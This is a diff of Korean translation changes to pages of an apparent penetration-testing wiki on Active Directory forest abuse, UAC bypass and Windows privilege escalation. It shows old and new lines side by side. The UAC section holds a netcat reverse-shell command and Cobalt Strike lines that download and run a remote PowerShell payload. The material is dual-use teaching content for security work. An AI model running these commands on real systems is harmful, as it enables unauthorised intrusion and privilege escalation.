Configuration Naming Context (NC)를 악용하는 방법을 이해하는 것은 중요합니다. Configuration NC는 Active Directory (AD) 환경에서 구성 데이터의 중앙 저장소 역할을 합니다. 이 데이터는 포리스트 내 모든 도메인 컨트롤러(DC)에 복제되며, 쓰기 가능한 DC는 Configuration NC의 쓰기 가능한 복사본을 유지합니다. 이를 악용하려면 **DC에서 SYSTEM 권한**이 필요하며, 가능하면 자식 DC에서 수행해야 합니다.
Configuration Naming Context (NC)를 악용하는 방법을 이해하는 것은 중요합니다. Configuration NC는 Active Directory (AD) 환경에서 포리스트 전반에 걸쳐 구성 데이터의 중앙 저장소 역할을 합니다. 이 데이터는 포리스트 내 모든 도메인 컨트롤러(DC)에 복제되며, 쓰기 가능한 DC는 Configuration NC의 쓰기 가능한 복사본을 유지합니다. 이를 악용하려면 **DC에서 SYSTEM 권한**이 필요하며, 가능하면 자식 DC에서 수행해야 합니다.
**루트 DC 사이트에 GPO 연결**
@ -592,7 +592,7 @@ Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 모든 도메
**포리스트 내 모든 gMSA 손상**
공격 벡터는 도메인 내 특권 gMSA를 대상으로 하는 것입니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC에 저장됩니다. 모든 DC에서 SYSTEM 권한을 사용하면 KDS Root 키에 접근하고 포리스트 내 모든 gMSA의 비밀번호를 계산할 수 있습니다.
공격 벡터는 도메인 내 특권 gMSA를 대상으로 하는 것입니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC에 저장됩니다. 모든 DC에서 SYSTEM 권한을 사용하면 KDS Root 키에 접근하고 포리스트 전역의 모든 gMSA에 대한 비밀번호를 계산할 수 있습니다.
자세한 분석은 [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)에 대한 논의에서 확인할 수 있습니다.
@ -606,7 +606,7 @@ Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 모든 도메
ADCS ESC5 취약점은 공인 키 인프라(PKI) 객체에 대한 제어를 목표로 하여 포리스트 내의 모든 사용자로 인증할 수 있는 인증서 템플릿을 생성합니다. PKI 객체는 Configuration NC에 위치하므로, 쓰기 가능한 자식 DC를 손상시키면 ESC5 공격을 실행할 수 있습니다.
자세한 내용은 [DA에서 EA로 ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)에서 읽을 수 있습니다. ADCS가 없는 시나리오에서는 공격자가 필요한 구성 요소를 설정할 수 있으며, 이는 [자식 도메인 관리자에서 엔터프라이즈 관리자까지 상승](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의됩니다.
자세한 내용은 [ESC5를 통한 DA에서 EA로](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)에서 읽을 수 있습니다. ADCS가 없는 시나리오에서는 공격자가 필요한 구성 요소를 설정할 수 있으며, 이는 [자식 도메인 관리자로부터 엔터프라이즈 관리자까지 상승](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의됩니다.
### 외부 포리스트 도메인 - 단방향(수신) 또는 양방향
```powershell
@ -619,7 +619,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**. 이는 귀하에게 **정확히 알 수 없는 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다:
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**. 이는 귀하에게 **정해지지 않은 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대한 접근 권한이 있는 주체가 누구인지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다:
{{#ref}}
external-forest-domain-oneway-inbound.md

View File

@ -4,7 +4,7 @@
## UAC
[사용자 계정 컨트롤 (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)는 **승격된 활동에 대한 동의 프롬프트**를 활성화하는 기능입니다. 애플리케이션은 서로 다른 `무결성` 수준을 가지며, **높은 수준**의 프로그램은 **시스템을 잠재적으로 손상시킬 수 있는 작업**을 수행할 수 있습니다. UAC가 활성화되면 애플리케이션과 작업은 항상 **비관리자 계정의 보안 컨텍스트에서 실행**되며, 관리자가 명시적으로 이러한 애플리케이션/작업이 시스템에 대한 관리자 수준의 액세스를 갖도록 허가하지 않는 한 그렇습니다. 이는 관리자가 의도하지 않은 변경으로부터 보호하는 편의 기능이지만 보안 경계로 간주되지는 않습니다.
[사용자 계정 컨트롤 (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)는 **승격된 활동에 대한 동의 프롬프트**를 활성화하는 기능입니다. 애플리케이션은 서로 다른 `무결성` 수준을 가지며, **높은 수준**의 프로그램은 **시스템을 잠재적으로 손상시킬 수 있는 작업**을 수행할 수 있습니다. UAC가 활성화되면 애플리케이션과 작업은 항상 **비관리자 계정의 보안 컨텍스트에서 실행**되며, 관리자가 명시적으로 이러한 애플리케이션/작업이 시스템에 대한 관리자 수준의 액세스를 갖도록 승인하지 않는 한 그렇습니다. 이는 관리자가 의도하지 않은 변경으로부터 보호하는 편의 기능이지만 보안 경계로 간주되지는 않습니다.
무결성 수준에 대한 자세한 정보는 다음을 참조하십시오:
@ -12,20 +12,20 @@
../windows-local-privilege-escalation/integrity-levels.md
{{#endref}}
UAC가 설정되면 관리자 사용자에게 2개의 토큰이 제공됩니다: 일반 사용자 키, 일반 수준에서 정기적인 작업을 수행하기 위한 것과 관리자 권한이 있는 하나입니다.
UAC가 설정되면 관리자 사용자에게 2개의 토큰이 제공됩니다: 일반 사용자 키는 일반 수준에서 정기적인 작업을 수행하고, 하나는 관리자 권한이 있는 키입니다.
이 [페이지](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)는 UAC의 작동 방식에 대해 깊이 논의하며, 로그인 프로세스, 사용자 경험 및 UAC 아키텍처를 포함합니다. 관리자는 보안 정책을 사용하여 UAC가 조직의 특정 요구에 맞게 작동하도록 구성할 수 있으며, 로컬 수준에서 (secpol.msc 사용) 또는 Active Directory 도메인 환경에서 그룹 정책 개체(GPO)를 통해 구성하고 배포할 수 있습니다. 다양한 설정에 대한 자세한 내용은 [여기](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)에서 논의됩니다. UAC에 대해 설정할 수 있는 그룹 정책 설정은 10개가 있습니다. 다음 표는 추가 세부 정보를 제공합니다:
이 [페이지](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works)에서는 UAC의 작동 방식에 대해 깊이 논의하며, 로그인 프로세스, 사용자 경험 및 UAC 아키텍처를 포함합니다. 관리자는 보안 정책을 사용하여 UAC가 조직에 맞게 작동하도록 구성할 수 있으며, 로컬 수준에서 (secpol.msc 사용) 또는 Active Directory 도메인 환경에서 그룹 정책 개체(GPO)를 통해 구성하고 배포할 수 있습니다. 다양한 설정에 대한 자세한 내용은 [여기](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings)에서 논의됩니다. UAC에 대해 설정할 수 있는 그룹 정책 설정은 10개가 있습니다. 다음 표는 추가 세부 정보를 제공합니다:
| 그룹 정책 설정 | 레지스트리 키 | 기본 설정 |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [사용자 계정 컨트롤: 내장 관리자 계정에 대한 관리자 승인 모드](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | 비활성화 |
| [사용자 계정 컨트롤: UIAccess 애플리케이션이 보안 데스크탑을 사용하지 않고 승격을 요청할 수 있도록 허용](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | 비활성화 |
| [사용자 계정 컨트롤: 관리자에 대한 승격 프롬프트의 동작](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 비Windows 이진 파일에 대한 동의 요청 |
| [사용자 계정 컨트롤: 관리자에 대한 승격 프롬프트의 동작 (관리자 승인 모드)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | 비Windows 이진 파일에 대한 동의 요청 |
| [사용자 계정 컨트롤: 일반 사용자에 대한 승격 프롬프트의 동작](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | 보안 데스크탑에서 자격 증명 요청 |
| [사용자 계정 컨트롤: 애플리케이션 설치 감지 및 승격 요청](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 활성화 (홈 기본값) 비활성화 (기업 기본값) |
| [사용자 계정 컨트롤: 서명되고 검증된 실행 파일만 승격](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | 비활성화 |
| [사용자 계정 컨트롤: 보안 위치에 설치된 UIAccess 애플리케이션만 승격](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | 활성화 |
| [사용자 계정 컨트롤: 모든 관리자를 관리자 승인 모드 실행](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | 활성화 |
| [사용자 계정 컨트롤: 모든 관리자를 관리자 승인 모드에서 실행](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | 활성화 |
| [사용자 계정 컨트롤: 승격 요청 시 보안 데스크탑으로 전환](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | 활성화 |
| [사용자 계정 컨트롤: 파일 및 레지스트리 쓰기 실패를 사용자별 위치로 가상화](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | 활성화 |
@ -35,7 +35,7 @@ UAC가 설정되면 관리자 사용자에게 2개의 토큰이 제공됩니다:
그런 다음, **UAC**를 **우회**하기 위해 (무결성 수준 **중간**에서 **높음**으로 승격) 일부 공격자는 이러한 종류의 이진 파일을 사용하여 **임의 코드를 실행**합니다. 이는 **높은 수준의 무결성 프로세스**에서 실행되기 때문입니다.
이진 파일의 _**Manifest**_를 확인하려면 Sysinternals의 _**sigcheck.exe**_ 도구를 사용할 수 있습니다. 그리고 _Process Explorer_ 또는 _Process Monitor_ (Sysinternals)의 사용하여 프로세스의 **무결성 수준**을 **확인**할 수 있습니다.
이진 파일의 _**Manifest**_를 확인하려면 Sysinternals의 _**sigcheck.exe**_ 도구를 사용할 수 있습니다. 그리고 _Process Explorer_ 또는 _Process Monitor_ (Sysinternals의)를 사용하여 프로세스의 **무결성 수준**을 **확인**할 수 있습니다.
### UAC 확인
@ -55,25 +55,25 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- **`0`**이면 UAC가 프롬프트를 표시하지 않습니다 (예: **비활성화**됨)
- **`1`**이면 관리자가 **사용자 이름과 비밀번호**를 입력하라는 요청을 받습니다 (높은 권한으로 바이너리를 실행할 때, Secure Desktop에서)
- **`2`** (**항상 나에게 알림**) UAC는 관리자가 높은 권한으로 무언가를 실행하려고 할 때 항상 확인을 요청합니다 (Secure Desktop에서)
- **`3`**은 `1`과 같지만 Secure Desktop에서 필요하지 않습니다
- **`4`**는 `2`와 같지만 Secure Desktop에서 필요하지 않습니다
- **`5`**(**기본값**)는 관리자가 높은 권한으로 비 Windows 바이너리를 실행하기 위해 확인을 요청합니다
- 만약 **`0`**이면, UAC가 프롬프트하지 않습니다 (마치 **비활성화**된 것처럼)
- 만약 **`1`**이면, 관리자가 **사용자 이름과 비밀번호**를 요청받아야 하며, 높은 권한으로 바이너리를 실행할 수 있습니다 (보안 데스크탑에서)
- 만약 **`2`**이면 (**항상 나에게 알림**) UAC는 관리자가 높은 권한으로 무언가를 실행하려고 할 때 항상 확인을 요청합니다 (보안 데스크탑에서)
- 만약 **`3`**이면 `1`과 같지만 보안 데스크탑에서 필요하지 않습니다
- 만약 **`4`**이면 `2`와 같지만 보안 데스크탑에서 필요하지 않습니다
- 만약 **`5`**이면(**기본값**) 비 Windows 바이너리를 높은 권한으로 실행하기 위해 관리자의 확인을 요청합니다
그런 다음 **`LocalAccountTokenFilterPolicy`**의 값을 확인해야 합니다\
값이 **`0`**이면 **RID 500** 사용자 (**내장 관리자**)만 **UAC 없이 관리 작업을 수행할 수** 있으며, `1`이면 **"Administrators"** 그룹 내의 모든 계정이 이를 수행할 수 있습니다.
값이 **`0`**이면, **RID 500** 사용자 (**내장 관리자**)만 UAC 없이 **관리 작업**을 수행할 수 있으며, `1`이면 **"Administrators"** 그룹 내의 모든 계정이 이를 수행할 수 있습니다.
마지막으로 **`FilterAdministratorToken`** 키의 값을 확인해야 합니다\
값이 **`0`**(기본값)인 경우 **내장 관리자 계정이** 원격 관리 작업을 수행할 수 있으며, **`1`**인 경우 내장 관리자 계정은 `LocalAccountTokenFilterPolicy``1`로 설정되지 않는 한 원격 관리 작업을 수행할 수 없습니다.
값이 **`0`**(기본값)일 경우, **내장 관리자 계정은** 원격 관리 작업을 수행할 수 있으며, **`1`**일 경우 내장 관리자 계정은 **원격 관리 작업을 수행할 수 없습니다**, 단 `LocalAccountTokenFilterPolicy``1`로 설정된 경우를 제외합니다.
#### 요약
- `EnableLUA=0` 또는 **존재하지 않으면**, **누구에게도 UAC 없음**
- `EnableLua=1`이고 **`LocalAccountTokenFilterPolicy=1`이면, 누구에게도 UAC 없음**
- `EnableLua=1`이고 **`LocalAccountTokenFilterPolicy=0``FilterAdministratorToken=0`이면, RID 500 (내장 관리자)에게는 UAC 없음**
- `EnableLua=1`이고 **`LocalAccountTokenFilterPolicy=0``FilterAdministratorToken=1`이면, 모두에게 UAC 있음**
- 만약 `EnableLUA=0` 또는 **존재하지 않으면**, **누구에게도 UAC 없음**
- 만약 `EnableLua=1`이고 **`LocalAccountTokenFilterPolicy=1`이면, 누구에게도 UAC 없음**
- 만약 `EnableLua=1`이고 **`LocalAccountTokenFilterPolicy=0``FilterAdministratorToken=0`이면, RID 500 (내장 관리자)에게는 UAC 없음**
- 만약 `EnableLua=1`이고 **`LocalAccountTokenFilterPolicy=0``FilterAdministratorToken=1`이면, 모두에게 UAC 있음**
이 모든 정보는 **metasploit** 모듈: `post/windows/gather/win_privs`를 사용하여 수집할 수 있습니다.
@ -89,7 +89,7 @@ whoami /groups | findstr Level
UAC 우회는 다음 상황에서 필요합니다: **UAC가 활성화되어 있고, 프로세스가 중간 무결성 컨텍스트에서 실행되며, 사용자가 관리자 그룹에 속하는 경우**.
UAC가 **가장 높은 보안 수준(항상)에 있을 때 우회하는 것이 다른 수준(기본)에 비해 훨씬 더 어렵다는 점을 언급하는 것이 중요합니다.**
UAC가 **최고 보안 수준(항상)에 있을 때 우회하는 것이 다른 수준(기본)에 있을 때보다 훨씬 더 어렵다는 점을 언급하는 것이 중요합니다.**
### UAC 비활성화
@ -99,7 +99,7 @@ UAC가 이미 비활성화된 경우(`ConsentPromptBehaviorAdmin`이 **`0`**) **
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
```
#### UAC 우회 토큰 복제
#### UAC 우회 토큰 복제
- [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
- [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
@ -119,7 +119,7 @@ dir \\127.0.0.1\c$\Users\Administrator\Desktop
```
### UAC 우회와 코발트 스트라이크
코발트 스트라이크 기술은 UAC가 최대 보안 수준으로 설정되어 있지 않을 때만 작동합니다.
Cobalt Strike 기술은 UAC가 최대 보안 수준으로 설정되어 있지 않을 때만 작동합니다.
```bash
# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
@ -131,7 +131,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire**와 **Metasploit**는 **UAC**를 **우회**하기 위한 여러 모듈을 가지고 있습니다.
**Empire**와 **Metasploit**는 **UAC**를 **우회**하 여러 모듈을 가지고 있습니다.
### KRBUACBypass
@ -139,8 +139,8 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
### UAC 우회 익스플로잇
[**UACME**](https://github.com/hfiref0x/UACME)는 여러 UAC 우회 익스플로잇의 **컴파일**입니다. **Visual Studio 또는 msbuild를 사용하여 UACME를 컴파일해야** 한다는 점에 유의하세요. 컴파일은 여러 실행 파일(예: `Source\Akagi\outout\x64\Debug\Akagi.exe`)을 생성하며, **어떤 것이 필요한지 알아야** 합니다.\
일부 우회 방법은 **다른 프로그램을 알림**하여 **사용자**에게 무언가가 발생하고 있음을 **알릴 수** 있으므로 **주의해야** 합니다.
[**UACME**](https://github.com/hfiref0x/UACME)는 여러 UAC 우회 익스플로잇의 **컴파일**입니다. **visual studio 또는 msbuild를 사용하여 UACME를 컴파일해야** 한다는 점에 유의하세요. 컴파일은 여러 실행 파일(예: `Source\Akagi\outout\x64\Debug\Akagi.exe`)을 생성하며, **어떤 것이 필요한지 알아야** 합니다.\
일부 우회 방법은 **다른 프로그램을 요청**하여 **사용자**에게 무언가가 발생하고 있음을 **알릴 수** 있으므로 **주의해야** 합니다.
UACME는 각 기술이 작동하기 시작한 **빌드 버전**을 가지고 있습니다. 귀하의 버전에 영향을 미치는 기술을 검색할 수 있습니다:
```
@ -150,41 +150,41 @@ Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
```
또한, [](https://en.wikipedia.org/wiki/Windows_10_version_history) 페이지를 사용하여 빌드 버전에서 Windows 릴리스 `1607`을 얻을 수 있습니다.
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
#### 더 많은 UAC 우회
#### More UAC bypass
**여기에서 AUC를 우회하는 데 사용되는 모든** 기술은 **피해자와의 완전한 대화형 셸**을 **요구**합니다(일반 nc.exe 셸은 충분하지 않습니다).
**모든** 기술은 AUC를 우회하기 위해 **전체 대화형 셸**을 **필요**로 합니다 (일반 nc.exe 셸은 충분하지 않습니다).
**meterpreter** 세션을 사용하여 얻을 수 있습니다. **Session** 값이 **1**인 **프로세스**로 마이그레이션하십시오:
**meterpreter** 세션을 사용하여 얻을 수 있습니다. **Session** 값이 **1**인 **프로세스**로 마이그레이션하세요:
![](<../../images/image (863).png>)
(_explorer.exe_ 작동해야 합니다)
(_explorer.exe_ 작동해야 합니다)
### GUI를 통한 UAC 우회
### UAC Bypass with GUI
**GUI에 접근할 수 있다면 UAC 프롬프트가 나타날 때 그냥 수락하면 됩니다**, 실제로 우회할 필요는 없습니다. 따라서 GUI에 접근하면 UAC를 우회할 수 있습니다.
**GUI에 접근할 수 있다면 UAC 프롬프트 수락하면 됩니다**, 실제로 우회할 필요는 없습니다. 따라서 GUI에 접근하면 UAC를 우회할 수 있습니다.
게다가, 누군가가 사용 중인 GUI 세션(잠재적으로 RDP를 통해)에 접근하면 **관리자로 실행되는 몇 가지 도구**가 있어 **cmd**를 예를 들어 **관리자 권한으로** 직접 실행할 수 있습니다. UAC에 의해 다시 프롬프트되지 않습니다. [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)와 같은 도구니다. 이는 좀 더 **은밀할 수 있습니다**.
게다가, 누군가가 사용 중인 GUI 세션을 얻으면 (잠재적으로 RDP를 통해) **관리자로 실행되는 몇 가지 도구가 있을 것입니다**. 여기서 **cmd**를 예를 들어 **관리자 권한으로** 직접 실행할 수 있습니다. UAC에 의해 다시 프롬프트되지 않습니다, [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)와 같은 도구를 사용할 수 있습니다. 이는 좀 더 **은밀할 수 있습니다**.
### 시끄러운 무차별 대입 UAC 우회
### Noisy brute-force UAC bypass
시끄러운 것이 신경 쓰이지 않는다면 항상 **다음과 같은 것을 실행할 수 있습니다**: [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 이 도구는 **사용자가 수락할 때까지 권한 상승을 요청합니다**.
소음이 신경 쓰이지 않는다면 항상 **다음과 같은 것을 실행할 수 있습니다**: [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) 이 도구는 **사용자가 수락할 때까지 권한 상승을 요청합니다**.
### 나만의 우회 - 기본 UAC 우회 방법론
### Your own bypass - Basic UAC bypass methodology
**UACME**를 살펴보면 **대부분의 UAC 우회가 Dll Hijacking 취약점을 악용한다는 것을 알 수 있습니다**(주로 악성 dll을 _C:\Windows\System32_에 작성하는 방식). [Dll Hijacking 취약점을 찾는 방법을 배우려면 여기를 읽으세요](../windows-local-privilege-escalation/dll-hijacking/).
**UACME**를 살펴보면 **대부분의 UAC 우회는 Dll Hijacking 취약점을 악용합니다** (주로 악성 dll을 _C:\Windows\System32_에 작성하는 방식). [Dll Hijacking 취약점을 찾는 방법을 배우려면 여기를 읽으세요](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. **자동 상승**하는 이진 파일을 찾습니다(실행 시 높은 무결성 수준에서 실행되는지 확인).
1. **자동 상승**하는 바이너리를 찾습니다 (실행 시 높은 무결성 수준에서 실행되는지 확인).
2. procmon을 사용하여 **DLL Hijacking**에 취약할 수 있는 "**NAME NOT FOUND**" 이벤트를 찾습니다.
3. 아마도 **쓰기 권한이 없는** 일부 **보호된 경로**(예: C:\Windows\System32) 내에 DLL을 **작성**해야 할 것입니다. 이를 우회할 수 있는 방법은 다음과 같습니다:
1. **wusa.exe**: Windows 7, 8 및 8.1. CAB 파일의 내용을 보호된 경로 내에 추출할 수 있습니다(이 도구는 높은 무결성 수준에서 실행되기 때문입니다).
3. 아마도 **쓰기 권한이 없는** 일부 **보호된 경로** (예: C:\Windows\System32) 내에 DLL을 **작성**해야 할 것입니다. 이를 우회할 수 있는 방법은:
1. **wusa.exe**: Windows 7, 8 및 8.1. CAB 파일의 내용을 보호된 경로 내에 추출할 수 있습니다 (이 도구는 높은 무결성 수준에서 실행되기 때문입니다).
2. **IFileOperation**: Windows 10.
4. 보호된 경로 내에 DLL을 복사하고 취약하고 자동 상승된 이진 파일을 실행하는 **스크립트**를 준비합니다.
4. 보호된 경로 내에 DLL을 복사하고 취약하고 자동 상승된 바이너리를 실행하는 **스크립트**를 준비합니다.
### 또 다른 UAC 우회 기술
### Another UAC bypass technique
**자동 상승 이진 파일**이 **레지스트리**에서 **이진 파일** 또는 **명령**의 **이름/경로**를 **읽으려** 하는지 감시하는 것입니다(이진 파일이 **HKCU** 내에서 이 정보를 검색하는 경우 더 흥미롭습니다).
**자동 상승된 바이너리**가 **레지스트리**에서 **이름/경로**를 **읽으려는지** 감시하는 것입니다. **실행될** **바이너리** 또는 **명령** (이 정보가 **HKCU** 내에서 검색되는 경우 더 흥미롭습니다).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -79,7 +79,7 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
### Environment
환경 변수에 저장된 자격 증명/민감한 정보가 있습니까?
env 변수에 저장된 자격 증명/유용한 정보가 있습니까?
```bash
set
dir env:
@ -114,7 +114,7 @@ Stop-Transcript
PowerShell 파이프라인 실행의 세부 사항이 기록되며, 실행된 명령, 명령 호출 및 스크립트의 일부가 포함됩니다. 그러나 전체 실행 세부 사항 및 출력 결과는 캡처되지 않을 수 있습니다.
이를 활성화하려면 문서의 "전사 파일" 섹션의 지침을 따르고 **"모듈 로깅"**을 선택하십시오. **"PowerShell 전사"** 대신에.
이를 활성화하려면 문서의 "전사 파일" 섹션의 지침을 따르고 **"모듈 로깅"**을 선택하십시오. **"Powershell 전사"** 대신에.
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
스크립트 실행의 전체 활동 및 전체 콘텐츠 기록이 캡처되어, 실행되는 모든 코드 블록이 문서화됩니다. 이 프로세스는 각 활동의 포괄적인 감사 추적을 보존하여 포렌식 및 악의적인 행동 분석에 유용합니다. 실행 시 모든 활동을 문서화함으로써 프로세스에 대한 자세한 통찰력을 제공합니다.
스크립트 실행의 전체 활동 및 전체 콘텐츠 기록이 캡처되어, 실행되는 코드 블록이 문서화됩니다. 이 프로세스는 각 활동의 포괄적인 감사 추적을 보존하여 포렌식 및 악의적인 행동 분석에 유용합니다. 실행 시 모든 활동을 문서화함으로써 프로세스에 대한 자세한 통찰력을 제공합니다.
```bash
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
시스템을 손상시킬 수 있습니다. 업데이트가 http가 아닌 http**S**를 사용하여 요청되지 않는 경우입니다.
다음 명령을 실행하여 네트워크가 비SSL WSUS 업데이트를 사용하는지 확인합니다:
다음 명령을 실행하여 네트워크가 비 SSL WSUS 업데이트를 사용하는지 확인합니다:
```
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
```
@ -165,9 +165,9 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
```
`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer``1`과 같다면,
그렇다면, **악용 가능하다.** 마지막 레지스트리가 0과 같다면, WSUS 항목은 무시된다.
그렇다면, **악용 가능**합니다. 마지막 레지스트리가 0과 같다면, WSUS 항목은 무시됩니다.
이 취약점을 악용하기 위해서는 다음과 같은 도구를 사용할 수 있다: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - 이는 비 SSL WSUS 트래픽에 '가짜' 업데이트를 주입하기 위한 MiTM 무기화된 익스플로잇 스크립트다.
이 취약점을 악용하기 위해 다음과 같은 도구를 사용할 수 있습니다: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - 이는 비 SSL WSUS 트래픽에 '가짜' 업데이트를 주입하기 위한 MiTM 무기화된 익스플로잇 스크립트입니다.
여기에서 연구를 읽어보세요:
@ -176,25 +176,25 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
**WSUS CVE-2020-1013**
[**전체 보고서를 여기에서 읽어보세요**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
기본적으로, 이 버그가 악용하는 결함은 다음과 같다:
기본적으로, 이 버그가 악용하는 결함은 다음과 같습니다:
> 우리가 로컬 사용자 프록시를 수정할 수 있는 권한이 있고, Windows 업데이트가 Internet Explorer의 설정에 구성된 프록시를 사용한다면, 우리는 [PyWSUS](https://github.com/GoSecure/pywsus)를 로컬에서 실행하여 자신의 트래픽을 가로채고 자산에서 상승된 사용자로서 코드를 실행할 수 있는 권한을 가지게 다.
